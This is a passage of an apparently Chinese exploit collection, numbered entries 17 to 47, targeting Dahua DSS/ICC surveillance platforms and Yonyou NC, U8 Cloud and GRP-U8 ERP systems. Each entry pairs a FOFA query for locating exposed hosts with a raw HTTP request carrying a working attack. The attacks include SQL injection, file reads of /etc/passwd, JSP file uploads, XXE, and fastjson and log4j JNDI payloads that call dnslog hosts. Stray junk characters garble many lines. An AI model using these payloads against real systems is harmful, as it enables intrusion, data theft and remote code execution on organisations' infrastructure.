5 K# g* Z9 S0 jGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
) |$ O/ O$ q  F& A8 s1 ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
6 y# e. J! ?% z* r7 z; [0 E! ?Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


$ X, D8 a$ C! a; E. D17. 大华 DSS itcBulletin SQL 注入
+ U6 f0 Y6 ~# `8 K1 fFOFA：app="dahua-DSS"
7 m% ]4 z# S% ^! l7 j$ S. L5 oPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
" c# u6 B; ~, W2 }Content-Length: 345
/ |2 k/ |, v, I6 tAccept-Encoding: gzip
* G( w1 Y: e9 U' f0 _! ~: T4 j
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
- x' y7 o1 Y" r% c! ^' t! ?, J    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
: w/ n+ e6 I6 D8 J& W) m      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
3 s5 P8 W: |, O    </ns1:deleteBulletin>
  </s11:Body>
9 L/ }1 ^' l8 J  W0 B$ h) z* ~</s11:Envelope>


& w. ~4 K+ t* r4 g- U; O18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
" U6 S4 X2 b, \$ G3 UGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
2 g% u! E9 b7 P5 c6 h! iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
/ L1 P! H/ m9 m3 b% G2 m' Z- DAccept: */*
Connection: keep-alive
' P& S0 x8 r0 H# b0 C! u
- U- I. O: I' K# F  U% I: X
3 c  [; r# b$ J2 I1 h
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
* I7 |% ?+ _0 N* G' R: J9 cFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
% W8 r; p9 b4 A) s* MHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
8 G1 I! n- `0 ^+ P" `Accept: */*
7 O" s/ ~) ^6 s! v3 I! eConnection: keep-alive
) s3 d; z3 L' q( q5 z0 m
8 ?: I- _! u8 }5 A7 I! u
- B) m3 p9 M: X+ C. P, R20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
; E. ^9 P, z0 \" ^( {0 O7 _+ xGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
! s5 z/ B+ m7 H. q& [Host: x.x.x.x
# D( w  X. A: M% G/ DUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
; z7 R+ a2 V( b0 S4 RAccept: */*
; W3 t1 G$ O% q$ n& h) GAccept-Language: en
Accept-Encoding: gzip


5 o! L! w' P. [, D+ O# u* q. F21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
& t0 ~: b& T. m; N  U# qHost: x.x.x.x
% M5 g5 C' w% P8 a/ B' zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
- X4 S* g$ u! P0 hAccept-Encoding: gzip
! F$ R6 `3 w2 TConnection: close
+ x6 n& G+ J; C) W/ _5 W) I0 m. z8 D& f) aContent-Type: application/json;charset=utf-8
  k8 _) b7 |; H5 v9 d" b0 ?
{
"a":{
# @& f4 F$ |; V6 h0 v4 p   "@type":"com.alibaba.fastjson.JSONObject",
7 F: s1 I2 W: A8 S: X0 r0 }    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
% Q" g8 V  c5 _1 N! e  }""
}

) D$ P1 }- _. `( C
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
# [9 t6 y: u- HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
0 m6 Q# `( x& Z4 T"loginName":"${jndi:ldap://dnslog}"
* {1 c1 x8 b. Y0 U% L3 U$ E5 R% g}


* {6 c. U, U; {) A1 V
, w& }6 J/ \+ V+ d' O4 z23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
+ g8 J. ]4 z- `0 D$ U% u. _6 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
  Z, K. ^! Z3 p5 m6 O+ AConnection: close

( b  ]# D+ H; Y% ^* ]{
* g: z2 J2 M/ q$ c& u) J6 \    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
+ z; ?0 l; _! O" t# y       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
' Y: B# r5 v9 g! b# \}
" y# _" ^4 R5 m+ z# e8 M

24. 用友NC 6.5 accept.jsp任意文件上传
& a; Z- w8 T; I9 l/ ^! g; kFOFA：icon_hash="1085941792"
9 N/ E; J) ]2 m+ z5 ^1 C1 RPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
* \/ h5 r" v6 A' w* I) ~2 VConnection: close
9 P9 h7 |) Q* h4 J7 ?5 e, C* XContent-Length: 449
Accept: */*
+ z  ]# k2 f* }Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

* J# d# i$ a  D-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
6 w4 i/ ]/ `4 @* Z% ~/ V- tContent-Type: text/plain
0 z5 {# i1 o) F
9 t2 r) \; O4 I$ W! V<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
; I4 C' A1 ~/ o! _Content-Disposition: form-data; name="fname"
/ D7 p* v" b' m' @1 b3 b2 D
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
) s" ]+ y# i( Q% c" f6 R-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
; x0 N0 B* y$ b, a7 m. }2 {  q
, d! g  P) P8 E4 v/ ~5 h4 Y2 f
  r6 x+ W- M! H. c+ ~25. 用友NC registerServlet JNDI 远程代码执行
# A& ^- X" ?. Y" ?- y3 MFOFA：app="用友-UFIDA-NC"
0 a2 n( z6 h6 T$ L% q6 f5 |9 @POST /portal/registerServlet HTTP/1.1
: y* y0 L! X! z- @3 v5 f& [& v% JHost: your-ip
) T' B8 `; e! u1 K' e: j1 n& MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
& J/ H; o( Q0 {( ^: {Accept-Encoding: gzip, deflate
3 _7 J, u/ v8 BAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
8 t' s2 ?1 N6 C: i1 u, f  BContent-Type: application/x-www-form-urlencoded

  s4 x( Z5 A- M2 C# mtype=1&dsname=ldap://dnslog


9 P# r! R$ I& j/ h$ V* M
' O' I0 q+ B. p, U. x5 ]26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
4 X5 z, ^. V) v2 ^/ u- RConnection: keep-alive
1 [5 \3 w( c  b  k5 u4 d  w! O

27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
: f6 D8 Z6 Y  n9 c, j7 `1 c: j  L) vGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
2 Z6 i" E7 e) i5 e+ Z) q4 IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
1 P3 r* b: v% M# V; n/ FConnection: close
) O# x4 N( e! F; L7 C) X+ S4 }1 kContent-Type: text/xml; charset=utf-8
0 l' d; c. ]& C8 {
! f3 N, [/ f0 D  G; h
28. 用友NC grouptemplet 任意文件上传
# ]9 \5 Z$ Y3 k! OFOFA：icon_hash="1085941792"
* c$ G& G% q% ^( e; _1 J& ?POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
: V1 W9 t: Z7 m) ^9 S' S4 H+ ~( _& mConnection: close
, {0 c! {6 M% V/ `) D( S" M, FContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
& L' K* Q9 a; u! `9 c) SContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
! X) a' t2 S% v" l, |+ t+ s
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

: m5 E$ n" S9 x& _- g! n! S, U
/uapim/static/pages/nc/head.jsp

/ I# c5 P6 m/ k; Y# F29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 I1 ?5 W" ^: YContent-Type: application/x-www-form-urlencoded
, ~3 d" D7 U7 Q* L( nAccept-Encoding: gzip, deflate
Accept: */*
, I$ r' a0 l6 R. ~5 f6 a0 x* ~Connection: keep-alive
$ R. x( j: w! v& h# n

30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
" J) _- U7 u2 XContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
9 O' a' w3 w- w% B6 S4 z: }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
* S9 s+ l& N' Z0 `$ NConnection: close

' X$ }, `* C3 ]: e/ U( o------WebKitFormBoundaryH970hbttBhoCyj9V
( Q$ l& F' i/ @& X  fContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
! n2 }7 Q* p4 EContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
version<=6.5
. ^: S  h' A" u8 r( oFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
% v( z0 L& U& e' tGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" s8 n; m% v1 R: d* |8 Z7 \* r- u, f- mHost: host
0 g, X: i4 p8 }# G  n) }% q2 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
1 h* M4 O7 [- P7 d. T8 ^! j9 ?Content-Type: application/x-www-form-urlencoded


# R1 G9 f0 ~$ ?1 p32. 用友NC complainbilldetail SQL注入
/ J% h5 M' p4 g; J* tversion= NC633、NC65
0 L- }4 d; F# ^6 a( T8 {FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
: c* x5 ?; T( X+ c* T% OConnection: keep-alive
6 @' H- k" ]6 t& b+ E/ ~* ~

# o! U' E: b3 Z: G33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
' {; ^/ w$ R* }" C" _GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- A* [5 L) c& s4 PAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
1 A0 O6 D7 Y5 o; a- [5 b
! S" W: R+ Q5 Y7 @# t+ [
34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
% B- Y! I+ i+ `! B( D  O( V& n& OAccept: */*
Connection: keep-alive
1 g& E/ |- G+ O9 O- V

35. 用友NC-Cloud importhttpscer任意文件上传
7 b: ~0 y8 \3 C6 _1 S9 a3 SFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
7 U; S. W6 `* `) KHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
# ~( j+ i' R4 S7 A/ Y' c% \4 fAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
# [& z1 i' h% x& @+ V* fContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

# j0 E/ H5 ^2 B, V2 C/ {--fd28cb44e829ed1c197ec3bc71748df0
" Z4 n: s3 Z6 w; f3 D4 yContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
- _0 W% h- i4 N8 [% {! u2 z6 h  y
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


# v5 D8 k: S% S. L; n0 g; o- u& v5 j36. 用友NC-Cloud soapFormat XXE
2 O6 W2 \* _$ rFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
3 @- a4 v% s5 JHost: 192.168.40.130:8989
2 \0 t% \  _9 \$ H* Q# l, e1 V2 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
' h" V3 @7 u3 X5 [/ \3 BContent-Length: 263
' l+ H" Q2 b- Y* o3 }; EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; f6 `+ g6 B, a; i& pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 t& y2 g% X3 R7 y  UConnection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
: V* r9 Y2 G/ |1 C2 w
: Y% v2 m. `6 ?: p, |" e' z
. Y  r" R% T' b37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
# a9 |+ E3 q0 [% VContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
; q1 S" `3 o' y1 r% f4 j6 h! sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- T4 o% }# c* M$ n+ B: X) rConnection: close
6 N; `7 `: c, I) k2 m3 G: wContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

5 h6 t* l5 Q( N- S0 ?<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
5 f+ m- Z2 s! |" }: h% K<soapenv:Body>
7 B& _5 Q, l: a3 Z& I<iup:getResult>
% m$ }, O2 a& \" X& S0 t3 y<!--type: string-->
<iup:string><![CDATA[
# r4 ^; {" g0 v) m+ J<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
& E- g$ n+ Y, m4 d) y<xxx/>]]></iup:string>
; \- n( h8 A1 z: v7 _9 H: v7 }</iup:getResult>
</soapenv:Body>
* D# a( Q6 D9 V- O; A$ U1 y4 g# Y/ w</soapenv:Envelope>
1 H, a# A: O2 ?% }3 M
! b- a3 A- T! F1 h
0 r7 [9 F& d6 k" N
/ ^- d: Q4 \' I2 `38. 用友U8 Cloud smartweb2.RPC.d XXE
, K$ C1 B2 Q0 _- zFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
% l: e& P* E0 k& xHost: 192.168.40.131:8088
2 D- Q+ ]  {. a9 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
" S. t1 Y/ v: iContent-Length: 260
" h+ O; T( u0 Y4 {1 {8 d* gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
; ^7 {+ w* ]7 W( M% H, {+ dAccept-Language: zh-CN,zh;q=0.9
Connection: close
) p4 V5 p% i. j) N7 k& f  o: BContent-Type: application/x-www-form-urlencoded
% H/ x6 J9 D8 E! j( M0 b
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
4 ], l$ O" o$ b  v6 G- ^3 P& z

39. 用友U8 Cloud RegisterServlet SQL注入
3 c( b: |2 A- o; _FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
! r# {, o0 R" a; |0 `Accept-Language: en
, c9 G9 N6 n- G$ }+ `8 r  E' V2 GContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
+ @* ?* B$ g* j3 dAccept-Encoding: gzip

4 o3 L; H8 J- @/ q- Y! p9 N( e& }usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

5 Q2 v6 ^) N4 H
) T( J$ W' k4 U; Q4 l40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
1 p* @7 ~/ N+ \POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ B8 q  M( n$ T1 A, kContent-Type: text/xml
Connection: close

  \. f5 k# O8 P3 c<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
4 S6 i& e3 L9 e* L0 ?: }$ p

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
0 X1 j" y& G0 F1 dFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
6 Z7 E% s/ E& b' ~Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# {1 F* _& I, U% x% H3 NContent-Type: application/json
2 Q, v9 p7 _1 @; g5 i2 W: zAccept-Encoding: gzip
3 q% l: E1 d8 w% U3 c1 f7 m4 gConnection: close

9 ^' a$ o" L( N# c1 D% Q( x
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
$ ^; v) D8 N7 a. i: g9 EPOST /u8qx/SmartUpload01.jsp HTTP/1.1
3 x2 B7 K( D. V$ b0 E4 I' mHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
7 j0 j- R+ a+ u' E: [  @5 u7 m
PAYLOAD


4 X( J6 t- J$ O( |# ~http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
* K3 r( B' p  [2 U& u7 P7 `
! [# v! B7 Q/ o) @0 J+ G! u43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
- q8 E% B5 b, P( e9 W; ZPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 {0 Q3 R; v" P7 u2 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. q1 s/ _! h: I' ]Accept-Encoding: gzip, deflate
# m+ J+ |1 |4 I/ @Accept-Language: zh-CN,zh;q=0.9
6 s  }9 s: x% W% I- cConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

' m. Q9 ~3 p, L( L<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
8 l4 b5 O3 t) }* s+ T         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
! {  ]4 ~# z) F/ v& {/ o% n1 O' d: m</soapenv:Envelope>
* J6 D7 [& k! G# n
; I  U9 q0 o/ B
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
* p  l- n9 Y6 R$ k) D$ s2 eHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ _  K1 `% P# ]# L+ j2 yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( d8 j, e$ L: p
( V2 @2 _0 ]- r+ V
45. 用友GRP-U8 ufgovbank XXE
0 c1 E+ F# ^; H% l' I  JFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
2 O. f  z. w2 k4 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
" x0 j( M9 t9 b: @! l: i8 m: J" x& L+ bConnection: close
Content-Length: 161
+ p+ H* ~) W, Q7 g8 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 w, L: [% o& C! b) I3 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, s" `2 U) h6 ^  P5 cContent-Type: application/x-www-form-urlencoded
; T$ P: V- @" s( F& O7 WAccept-Encoding: gzip

' e6 c: p3 X/ ~7 _1 treqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
1 M1 ^2 O! A" e- J* c: e

' M- d1 `! ]) N: K/ l! P  T# ~. o, `46. 用友GRP-U8 sqcxIndex.jsp SQL注入
" k0 M9 q2 _- Q2 y, jFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
& v( ]; s+ L2 R" A1 D0 g2 yHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) e3 {  C4 w8 W- X9 n8 {# {9 wConnection: close
: ^# U$ J' Y1 U) i) a' a( q. B  X; `0 I
  v8 t" D# B) [* S# }& {+ @" D; N
, U8 R4 z6 c* C- e/ P% e47. 用友GRP A++Cloud 政府财务云 任意文件读取
9 P3 Z) }, E) ~. P; eFOFA：body="/pf/portal/login/css/fonts/style.css"
1 M+ j. |9 A5 U% QGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
